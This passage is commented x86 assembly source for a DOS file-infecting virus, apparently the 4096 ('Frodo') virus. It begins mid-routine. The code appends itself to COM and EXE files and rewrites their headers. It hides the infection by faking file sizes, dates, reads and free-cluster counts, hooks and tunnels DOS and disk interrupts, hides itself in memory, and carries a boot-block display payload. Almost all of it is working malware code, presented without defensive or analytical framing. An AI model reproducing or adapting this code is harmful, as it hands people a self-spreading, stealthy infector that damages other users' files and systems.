adc dx,0 ; boundary
and ax,0FFF0h
sub di,ax ; di=# bytes to next paragraph
mov cx,10h ; normalize filesize
div cx ; to paragraphs
mov si,ax ; si = result
retn
finish_infection:
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,40h ; Write new header to file
mov cl,1Ch
mov dx,offset readbuffer
call callint21
mov ax,10h ; convert paragraph boundary
mul si ; to a byte value
mov cx,dx
mov dx,ax
mov ax,4200h ; go to first paragraph
call callint21 ; boundary at end of file
xor dx,dx
mov cx,1000h
add cx,di
mov ah,40h ; Concatenate virus to file
call callint21
mov ax,5701h ; Restore file time/date
mov cx,ds:filetime
mov dx,ds:filedate
test dh,80h ; check for infection bit
jnz highbitset
add dh,0C8h ; alter if not set yet
highbitset:
call callint21
cmp byte ptr ds:DOSversion,3; if not DOS 3+, then
jb exit_finish_infection ; do not hide the alteration
; in cluster count
cmp byte ptr ds:hideclustercountchange,0
je exit_finish_infection
push bx
mov dl,ds:filedrive
mov ah,32h ; Get drive parameter block
call callint21 ; for drive dl
mov ax,cs:numfreeclusters
mov [bx+1Eh],ax ; alter free cluster count
pop bx
exit_finish_infection:
retn
checkFCBokinfect:
call saveregs
mov di,dx
add di,0Dh ; skip to extension
push ds
pop es
jmp short performchecksum ; and check checksum for valid
; checksum
checkdsdxokinfect:
call saveregs
push ds
pop es
mov di,dx
mov cx,50h ; max filespec length
xor ax,ax
mov bl,0 ; default drive
cmp byte ptr [di+1],':' ; Is there a drive spec?
jne ondefaultdrive ; nope, skip it
mov bl,[di] ; yup, get drive
and bl,1Fh ; and convert to number
ondefaultdrive:
mov cs:filedrive,bl
repne scasb ; find terminating 0 byte
performchecksum:
mov ax,[di-3]
and ax,0DFDFh ; convert to uppercase
add ah,al
mov al,[di-4]
and al,0DFh ; convert to uppercase
add al,ah
mov byte ptr cs:EXEflag,0 ; assume COM file
cmp al,0DFh ; COM checksum?
je COMchecksum
inc byte ptr cs:EXEflag ; assume EXE file
cmp al,0E2h ; EXE checksum?
jne otherchecksum
COMchecksum:
call restoreregs
clc ; mark no error
retn
otherchecksum:
call restoreregs
stc ; mark error
retn
getcurrentPSP:
push bx
mov ah,51h ; Get current PSP segment
call callint21
mov cs:currentPSP,bx ; store it
pop bx
retn
setup_infection:
call replaceint13and24
push dx
mov dl,cs:filedrive
mov ah,36h ; Get disk free space
call callint21
mul cx ; ax = bytes per cluster
mul bx ; dx:ax = bytes free space
mov bx,dx
pop dx
or bx,bx ; less than 65536 bytes free?
jnz enough_free_space ; hopefully not
cmp ax,4000h ; exit if less than 16384
jb exit_setup_infection ; bytes free
enough_free_space:
mov ax,4300h ; Get file attributes
call callint21
jc exit_setup_infection ; exit on error
mov di,cx ; di = attributes
xor cx,cx
mov ax,4301h ; Clear file attributes
call callint21
cmp byte ptr cs:errorflag,0 ; check for errors
jne exit_setup_infection
mov ax,3D02h ; Open file read/write
call callint21
jc exit_setup_infection ; exit on error
mov bx,ax ; move handle to bx
; xchg bx,ax is superior
mov cx,di
mov ax,4301h ; Restore file attributes
call callint21
push bx
mov dl,cs:filedrive ; Get file's drive number
mov ah,32h ; Get drive parameter block
call callint21 ; for disk dl
mov ax,[bx+1Eh] ; Get free cluster count
mov cs:numfreeclusters,ax ; and save it
pop bx ; return handle
call restoreint13and24
retn
exit_setup_infection:
xor bx,bx
dec bx ; return bx=-1 on error
call restoreint13and24
retn
checkforinfection:
push cx
push dx
push ax
mov ax,4400h ; Get device information
call callint21 ; (set hide_size = 2)
xor dl,80h
test dl,80h ; Character device? If so,
jz exit_checkforinfection ; exit; cannot be infected
mov ax,5700h ; Otherwise get time/date
call callint21
test dh,80h ; Check year bit for infection
exit_checkforinfection:
pop ax
pop dx
pop cx
retn
obtainfilesize:
call saveregs
mov ax,4201h ; Get current file position
xor cx,cx
xor dx,dx
call callint21
mov cs:curfileposlow,ax
mov cs:curfileposhigh,dx
mov ax,4202h ; Go to end of file
xor cx,cx
xor dx,dx
call callint21
mov cs:filesizelow,ax
mov cs:filesizehigh,dx
mov ax,4200h ; Return to file position
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
call callint21
call restoreregs
retn
getsetfiletimedate:
or al,al ; Get time/date?
jnz checkifsettimedate ; if not, see if Set time/date
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
call _popall
call callint21
jc gettimedate_error ; exit on error
test dh,80h ; check year bit if infected
jz gettimedate_notinfected
sub dh,0C8h ; if so, hide change
gettimedate_notinfected:
jmp exitint21
gettimedate_error:
or word ptr cs:int21flags,1; turn on trap flag
jmp exitint21
checkifsettimedate:
cmp al,1 ; Set time/date?
jne exit_filetimedate_pointer
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
test dh,80h ; Infection bit set?
jz set_yearbitset
sub dh,0C8h ; clear infection bit
set_yearbitset:
call checkforinfection
jz set_datetime_nofinagle
add dh,0C8h ; set infection flag
set_datetime_nofinagle:
call callint21
mov [bp-4],ax
adc word ptr cs:int21flags,0; turn on/off trap flag
jmp _popall_then_exitint21 ; depending on result
handlemovefilepointer:
cmp al,2
jne exit_filetimedate_pointer
call checkforinfection
jz exit_filetimedate_pointer
sub word ptr [bp-0Ah],1000h ; hide file size
sbb word ptr [bp-8],0
exit_filetimedate_pointer:
jmp exitotherint21
handleread:
and byte ptr cs:int21flags,0FEh ; clear trap flag
call checkforinfection ; exit if it is not
jz exit_filetimedate_pointer ; infected -- no need
; to do stealthy stuff
mov cs:savelength,cx
mov cs:savebuffer,dx
mov word ptr cs:return_code,0
call obtainfilesize
mov ax,cs:filesizelow ; store the file size
mov dx,cs:filesizehigh
sub ax,1000h ; get uninfected file size
sbb dx,0
sub ax,cs:curfileposlow ; check if currently in
sbb dx,cs:curfileposhigh ; virus code
jns not_in_virus_body ; continue if not
mov word ptr [bp-4],0 ; set return code = 0
jmp handleopenclose_exit
not_in_virus_body:
jnz not_reading_header
cmp ax,cx ; reading from header?
ja not_reading_header
mov cs:savelength,ax ; # bytes into header
not_reading_header:
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
or cx,cx ; if reading > 64K into file,
jnz finish_reading ; then no problems
cmp dx,1Ch ; if reading from header, then
jbe reading_from_header ; do stealthy stuff
finish_reading:
mov dx,cs:savebuffer
mov cx,cs:savelength
mov ah,3Fh ; read file
call callint21
add ax,cs:return_code ; ax = bytes read
mov [bp-4],ax ; set return code properly
jmp _popall_then_exitint21
reading_from_header:
mov si,dx
mov di,dx
add di,cs:savelength
cmp di,1Ch ; reading all of header?
jb read_part_of_header ; nope, calculate how much
xor di,di
jmp short do_read_from_header
read_part_of_header:
sub di,1Ch
neg di
do_read_from_header:
mov ax,dx
mov cx,cs:filesizehigh ; calculate location in
mov dx,cs:filesizelow ; the file of the virus
add dx,0Fh ; storage area for the
adc cx,0 ; original 1Ch bytes of
and dx,0FFF0h ; the file
sub dx,0FFCh
sbb cx,0
add dx,ax
adc cx,0
mov ax,4200h ; go to that location
call callint21
mov cx,1Ch
sub cx,di
sub cx,si
mov ah,3Fh ; read the original header
mov dx,cs:savebuffer
call callint21
add cs:savebuffer,ax
sub cs:savelength,ax
add cs:return_code,ax
xor cx,cx ; go past the virus's header
mov dx,1Ch
mov ax,4200h
call callint21
jmp finish_reading ; and continue the reading
handlewrite:
and byte ptr cs:int21flags,0FEh ; turn off trap flag
call checkforinfection
jnz continue_handlewrite
jmp exit_filetimedate_pointer
continue_handlewrite:
mov cs:savelength,cx
mov cs:savebuffer,dx
mov word ptr cs:return_code,0
call obtainfilesize
mov ax,cs:filesizelow
mov dx,cs:filesizehigh
sub ax,1000h ; calculate original file
sbb dx,0 ; size
sub ax,cs:curfileposlow ; writing from inside the
sbb dx,cs:curfileposhigh ; virus?
js finish_write ; if not, we can continue
jmp short write_inside_virus; otherwise, fixup some stuff
finish_write:
call replaceint13and24
push cs
pop ds
mov dx,ds:filesizelow ; calculate location in file
mov cx,ds:filesizehigh ; of the virus storage of the
add dx,0Fh ; original 1Ch bytes of the
adc cx,0 ; file
and dx,0FFF0h
sub dx,0FFCh
sbb cx,0
mov ax,4200h
call callint21
mov dx,offset oldheader
mov cx,1Ch
mov ah,3Fh ; read original header
call callint21
mov ax,4200h ; go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov dx,offset oldheader
mov cx,1Ch
mov ah,40h ; write original header to
call callint21 ; the file
mov dx,0F000h ; go back 4096 bytes
mov cx,0FFFFh ; from the end of the
mov ax,4202h ; file and
call callint21
mov ah,40h ; truncate the file
xor cx,cx ; at that position
call callint21
mov dx,ds:curfileposlow ; Go to current file position
mov cx,ds:curfileposhigh
mov ax,4200h
call callint21
mov ax,5700h ; Get file time/date
call callint21
test dh,80h
jz high_bit_aint_set
sub dh,0C8h ; restore file date
mov ax,5701h ; put it onto the disk
call callint21
high_bit_aint_set:
call restoreint13and24
jmp exitotherint21
write_inside_virus:
jnz write_inside_header ; write from start of file?
cmp ax,cx
ja write_inside_header ; write from inside header?
jmp finish_write
write_inside_header:
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
or cx,cx ; Reading over 64K?
jnz writemorethan1Chbytes
cmp dx,1Ch ; Reading over 1Ch bytes?
ja writemorethan1Chbytes
jmp finish_write
writemorethan1Chbytes:
call _popall
call callint21 ; chain to int 21h
; (allow write to take place)
call _pushall
mov ax,5700h ; Get file time/date
call callint21
test dh,80h
jnz _popall_then_exitint21_
add dh,0C8h
mov ax,5701h ; restore file date
call callint21
_popall_then_exitint21_:
jmp _popall_then_exitint21
jmp exitotherint21
int13:
pop word ptr cs:int13tempCSIP ; get calling CS:IP off
pop word ptr cs:int13tempCSIP+2 ; the stack
pop word ptr cs:int13flags
and word ptr cs:int13flags,0FFFEh ; turn off trap flag
cmp byte ptr cs:errorflag,0 ; any errors yet?
jne exitint13error ; yes, already an error
push word ptr cs:int13flags
call dword ptr cs:origints
jnc exitint13
inc byte ptr cs:errorflag ; mark error
exitint13error:
stc ; mark error
exitint13:
jmp dword ptr cs:int13tempCSIP ; return to caller
int24:
xor al,al ; ignore error
mov byte ptr cs:errorflag,1 ; mark error
iret
replaceint13and24:
mov byte ptr cs:errorflag,0 ; clear errors
call saveregs
push cs
pop ds
mov al,13h ; save int 13 handler
call getint
mov word ptr ds:origints,bx
mov word ptr ds:origints+2,es
mov word ptr ds:oldint13,bx
mov word ptr ds:oldint13+2,es
mov dl,0
mov al,0Dh ; fixed disk interrupt
call getint
mov ax,es
cmp ax,0C000h ; is there a hard disk?
jae harddiskpresent ; C000+ is in BIOS
mov dl,2
harddiskpresent:
mov al,0Eh ; floppy disk interrupt
call getint
mov ax,es
cmp ax,0C000h ; check if floppy
jae floppypresent
mov dl,2
floppypresent:
mov ds:tracemode,dl
call replaceint1
mov ds:savess,ss ; save stack
mov ds:savesp,sp
push cs ; save these on stack for
mov ax,offset setvirusints ; return to setvirusints
push ax
mov ax,70h
mov es,ax
mov cx,0FFFFh
mov al,0CBh ; retf
xor di,di
repne scasb ;scan es:di for retf statement
dec di ; es:di->retf statement
pushf
push es ; set up stack for iret to
push di ; the retf statement which
; will cause transfer of
; control to setvirusints
pushf
pop ax
or ah,1 ; turn on the trap flag
push ax
in al,21h ; save IMR in temporary
mov ds:saveIMR,al ; buffer and then
mov al,0FFh ; disable all the
out 21h,al ; interrupts
popf
xor ax,ax ; reset disk
jmp dword ptr ds:origints ; (int 13h call)
; then transfer control to
setvirusints: ; setvirusints
lds dx,dword ptr ds:oldint1
mov al,1 ; restore old int 1 handler
call setvect
push cs
pop ds
mov dx,offset int13 ; replace old int 13h handler
mov al,13h ; with virus's
call setvect
mov al,24h ; Get old critical error
call getint ; handler and save its
mov word ptr ds:oldint24,bx ; location
mov word ptr ds:oldint24+2,es
mov dx,offset int24
mov al,24h ; Replace int 24 handler
call setvect ; with virus's handler
call restoreregs
retn
restoreint13and24:
call saveregs
lds dx,dword ptr cs:oldint13
mov al,13h
call setvect
lds dx,dword ptr cs:oldint24
mov al,24h
call setvect
call restoreregs
retn
disableBREAK:
mov ax,3300h ; Get current BREAK setting
call callint21
mov cs:BREAKsave,dl
mov ax,3301h ; Turn BREAK off
xor dl,dl
call callint21
retn
restoreBREAK:
mov dl,cs:BREAKsave
mov ax,3301h ; restore BREAK setting
call callint21
retn
_pushall:
pop word ptr cs:pushpopalltempstore
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
jmp word ptr cs:pushpopalltempstore
swapvirint21:
les di,dword ptr cs:oldint21; delve into original int
mov si,offset jmpfarptr ; handler and swap the first
push cs ; 5 bytes. This toggles it
pop ds ; between a jmp to the virus
cld ; code and the original 5
mov cx,5 ; bytes of the int handler
swapvirint21loop: ; this is a tunnelling method
lodsb ; if I ever saw one
xchg al,es:[di] ; puts the bytes in DOS's
mov [si-1],al ; int 21h handler
inc di
loop swapvirint21loop
retn
_popall:
pop word ptr cs:pushpopalltempstore
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp word ptr cs:pushpopalltempstore
restoreregs:
mov word ptr cs:storecall,offset _popall
jmp short do_saverestoreregs
saveregs:
mov word ptr cs:storecall,offset _pushall
do_saverestoreregs:
mov cs:storess,ss ; save stack
mov cs:storesp,sp
push cs
pop ss
mov sp,cs:stackptr ; set new stack
call word ptr cs:storecall
mov cs:stackptr,sp ; update internal stack ptr
mov ss,cs:storess ; and restore stack to
mov sp,cs:storesp ; caller program's stack
retn
replaceint1:
mov al,1 ; get the old interrupt
call getint ; 1 handler and save it
mov word ptr cs:oldint1,bx ; for later restoration
mov word ptr cs:oldint1+2,es
push cs
pop ds
mov dx,offset int1 ; set int 1 handler to
call setvect ; the virus int handler
retn
allocatememory:
call allocate_memory
jmp exitotherint21
allocate_memory:
cmp byte ptr cs:checkres,0 ; installed check
je exitallocate_memory ; exit if installed
cmp bx,0FFFFh ; finding total memory?
jne exitallocate_memory ; (virus trying to install?)
mov bx,160h ; allocate memory to virus
call callint21
jc exitallocate_memory ; exit on error
mov dx,cs
cmp ax,dx
jb continue_allocate_memory
mov es,ax
mov ah,49h ; Free memory
call callint21
jmp short exitallocate_memory
continue_allocate_memory:
dec dx ; get segment of MCB
mov ds,dx
mov word ptr ds:[1],0 ; mark unused MCB
inc dx ; go to memory area
mov ds,dx
mov es,ax
push ax
mov word ptr cs:int21store+2,ax ; fixup segment
xor si,si
mov di,si
mov cx,0B00h
rep movsw ; copy virus up there
dec ax ; go to MCB
mov es,ax
mov ax,cs:ownerfirstMCB ; get DOS PSP ID
mov es:[1],ax ; make vir ID = DOS PSP ID
mov ax,offset exitallocate_memory
push ax
retf
exitallocate_memory:
retn
get_device_info:
mov byte ptr cs:hide_size,2
jmp exitotherint21
callint21: ; call original int 21h handler (tunnelled)
pushf
call dword ptr cs:oldint21
retn
bootblock:
cli
xor ax,ax ; set new stack just below
mov ss,ax ; start of load area for
mov sp,7C00h ; boot block
jmp short enter_bootblock
borderchars db '███ '
FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
db 11111001b,11100000b,11100011b,11000011b,10000000b
db 10000001b,00010001b,00010010b,00100100b,01000000b
db 10000001b,00010001b,00010010b,00100100b,01000000b
db 11110001b,11110001b,00010010b,00100100b,01000000b
db 10000001b,00100001b,00010010b,00100100b,01000000b
db 10000001b,00010000b,11100011b,11000011b,10000000b
db 00000000b,00000000b,00000000b,00000000b,00000000b
db 00000000b,00000000b,00000000b,00000000b,00000000b
db 10000010b,01000100b,11111000b,01110000b,11000000b
db 10000010b,01000100b,10000000b,10001000b,11000000b
db 10000010b,01000100b,10000000b,10000000b,11000000b
db 10000010b,01000100b,11110000b,01110000b,11000000b
db 10000010b,00101000b,10000000b,00001000b,11000000b
db 10000010b,00101000b,10000000b,10001000b,00000000b
db 11110010b,00010000b,11111000b,01110000b,11000000b
enter_bootblock:
push cs
pop ds
mov dx,0B000h ; get video page in bh
mov ah,0Fh ; get video mode in al
int 10h ; get columns in ah
cmp al,7 ; check if colour
je monochrome
mov dx,0B800h ; colour segment
monochrome:
mov es,dx ; es->video segment
cld
xor di,di
mov cx,25*80 ; entire screen
mov ax,720h ; ' ', normal attribute
rep stosw ; clear the screen
mov si,7C00h+FRODO_LIVES-bootblock
mov bx,2AEh
morelinestodisplay:
mov bp,5
mov di,bx
displaymorebackgroundontheline:
lodsb ; get background pattern
mov dh,al
mov cx,8
displayinitialbackground:
mov ax,720h
shl dx,1
jnc spacechar
mov al,'█'
spacechar:
stosw
loop displayinitialbackground
dec bp
jnz displaymorebackgroundontheline
add bx,80*2 ; go to next line
cmp si,7C00h+enter_bootblock-bootblock
jb morelinestodisplay
mov ah,1 ; set cursor mode to cx
int 10h
mov al,8 ; set new int 8 handler
mov dx,7C00h+int8-bootblock ; to spin border
call setvect
mov ax,7FEh ; enable timer interrupts only
out 21h,al
sti
xor bx,bx
mov cx,1
jmp short $ ; loop forever while
; spinning the border
int8: ; the timer interrupt spins
dec cx ; the border
jnz endint8
xor di,di
inc bx
call spin_border
call spin_border
mov cl,4 ; wait 4 more ticks until
endint8: ; next update
mov al,20h ; Signal end of interrupt
out 20h,al
iret
spin_border:
mov cx,28h ; do 40 characters across
dohorizontal:
call lookup_border_char
stosw
stosw
loop dohorizontal
patch2:
add di,9Eh ; go to next line
mov cx,17h ; do for next 23 lines
dovertical: ; handle vertical borders
call lookup_border_char ; get border character
stosw ; print it on screen
patch3:
add di,9Eh ; go to next line
loop dovertical
patch1:
std
; this code handles the other half of the border
xor byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
xor byte ptr ds:[7C00h+patch2-bootblock+1],28h
xor byte ptr ds:[7C00h+patch3-bootblock+1],28h
retn
lookup_border_char:
and bx,3 ; find corresponding border
mov al,ds:[bx+7C00h+borderchars-bootblock]
inc bx ; character
retn
setvect:
push es
push bx
xor bx,bx
mov es,bx
mov bl,al ; int # to bx
shl bx,1 ; int # * 4 = offset in
shl bx,1 ; interrupt table
mov es:[bx],dx ; set the vector in the
mov es:[bx+2],ds ; interrupt table
pop bx
pop es
retn
writebootblock: ; this is an unfinished subroutine; it doesn't work properly
call replaceint13and24
mov dl,80h
db 0E8h, 08h, 00h, 32h,0D2h,0E8h
db 03h, 01h, 00h, 9Ah, 0Eh, 32h
db 08h, 70h, 00h, 33h, 0Eh, 2Eh
db 03h, 6Ch, 15h, 03h, 00h, 26h
db 00h, 00h, 00h, 21h, 00h, 50h
db 12h, 65h, 14h, 82h, 08h, 00h
db 0Ch, 9Ah, 0Eh, 56h, 07h, 70h
db 00h, 33h, 0Eh, 2Eh, 03h, 6Ch
db 15h,0E2h, 0Ch, 1Eh, 93h, 00h
db 00h,0E2h, 0Ch, 50h
org 1200h
readbuffer dw ? ; beginning of the read buffer
lengthMOD512 dw ? ; EXE header item - length of image modulo 512
lengthinpages dw ? ; EXE header item - length of image in pages
relocationitems dw ? ; EXE header item - # relocation items
headersize dw ? ; EXE header item - header size in paragraphs
minmemory dw ? ; EXE header item - minimum memory allocation
maxmemory dw ? ; EXE header item - maximum memory allocation
initialSS dw ? ; EXE header item - initial SS value
initialSP dw ? ; EXE header item - initial SP value
wordchecksum dw ? ; EXE header item - checksum value
initialIP dw ? ; EXE header item - initial IP value
initialCS dw ? ; EXE header item - initial CS value
db 12 dup (?) ; rest of header - unused
parmblock dd ? ; address of parameter block
filedrive db ? ; 0 = default drive
filetime dw ? ; saved file time
filedate dw ? ; saved file date
origints dd ? ; temporary scratch buffer for interrupt vectors
oldint1 dd ? ; original interrupt 1 vector
oldint21 dd ? ; original interrupt 21h vector
oldint13 dd ? ; original interrupt 13h vector
oldint24 dd ? ; original interrupt 24h vector
int13tempCSIP dd ? ; stores calling CS:IP of int 13h
carrierPSP dw ? ; carrier file PSP segment
DOSsegment dw ? ; segment of DOS list of lists
ownerfirstMCB dw ? ; owner of the first MCB
jmpfarptr db ? ; 0eah, jmp far ptr
int21store dd ? ; temporary storage for other 4 bytes
; and for pointer to virus int 21h
tracemode db ? ; trace mode
instructionstotrace db ? ; number of instructions to trace
handletable dw 28h dup (?) ; array of handles
handlesleft db ? ; entries left in table
currentPSP dw ? ; storage for the current PSP segment
curfileposlow dw ? ; current file pointer location, low word
curfileposhigh dw ? ; current file pointer location, high word
filesizelow dw ? ; current file size, low word
filesizehigh dw ? ; current file size, high word
savebuffer dw ? ; storage for handle read, etc.
savelength dw ? ; functions
return_code dw ? ; returned in AX on exit of int 21h
int21flags dw ? ; storage of int 21h return flags register
tempFCB db 25h dup (?) ; copy of the FCB
errorflag db ? ; 0 if no error, 1 if error
int13flags dw ? ; storage of int 13h return flags register
savess dw ? ; temporary storage of stack segment
savesp dw ? ; and stack pointer
BREAKsave db ? ; current BREAK state
checkres db ? ; already installed flag
initialax dw ? ; AX upon entry to carrier
saveIMR db ? ; storage for interrupt mask register
saveoffset dw ? ; temp storage of CS:IP of
savesegment dw ? ; caller to int 21h
pushpopalltempstore dw ? ; push/popall caller address
numfreeclusters dw ? ; total free clusters
DOSversion db ? ; current DOS version
hideclustercountchange db ? ; flag of whether to hide free cluster count
hide_size db ? ; hide filesize increase if equal to 0
copyparmblock db 0eh dup (?) ; copy of the parameter block
origsp dw ? ; temporary storage of stack pointer
origss dw ? ; and stack segment
origcsip dd ? ; temporary storage of caller CS:IP
copyfilename db 50h dup (?) ; copy of filename
storesp dw ? ; temporary storage of stack pointer
storess dw ? ; and stack segment
stackptr dw ? ; register storage stack pointer
storecall dw ? ; temporary storage of function offset
topstack = 1600h
_4096 ends
end